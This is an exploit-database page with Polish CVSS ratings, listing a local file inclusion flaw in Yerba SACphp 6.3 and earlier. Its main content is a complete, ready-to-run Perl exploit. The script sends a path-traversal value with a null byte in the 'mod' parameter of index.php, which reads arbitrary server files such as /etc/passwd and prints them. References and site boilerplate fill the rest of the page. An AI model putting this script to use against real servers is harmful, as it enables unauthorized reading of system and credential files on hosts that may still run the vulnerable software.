Yerba SACphp <= 6.3 / Local File Inclusion Exploit

2008-10-07 / 2008-10-08
Credit: Pepelux
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 10/10
Znaczenie: 10/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

#! /usr/bin/perl # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Yerba SACphp <= 6.3 / Local File Inclusion Exploit # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Program: Yerba SACphp # Version: <= 6.3 # File affected: index.php # Download: http://sourceforge.net/projects/yerba/ # # # Found by Pepelux <pepelux[at]enye-sec.org> # eNYe-Sec - www.enye-sec.org # # Bug: # 37- include("modulos/$mod/mod_nucleo.php"); use LWP::UserAgent; use HTTP::Request::Common; my ($host, $file) = &#64;ARGV ; unless($ARGV[1]){ print "\nUsage: perl $0 <host> <file_to_edit>\n"; print "\tex: perl $0 http://localhost /etc/passwd\n\n"; exit 1; } $host = 'http://'.$host if ($host !~ /^http:/); $host .= "/" if ($host !~ /\/\$/); my $ua = LWP::UserAgent->new(); $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1"); $ua->timeout(10); my $request = HTTP::Request->new(); my $response; my $url = $host."index.php"; my $req = HTTP::Request->new(POST => $host."index.php"); $req->content_type('application/x-www-form-urlencoded'); $req->content("mod=../../../../../".$file."%00"); $request = $ua->request($req); $result = $request->content; $result =~ s/<[^>]*>//g; print $result . "\n"; exit;

Referencje:

http://www.securityfocus.com/bid/31606
http://www.securityfocus.com/archive/1/497103
http://www.frsirt.com/english/advisories/2008/2754


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top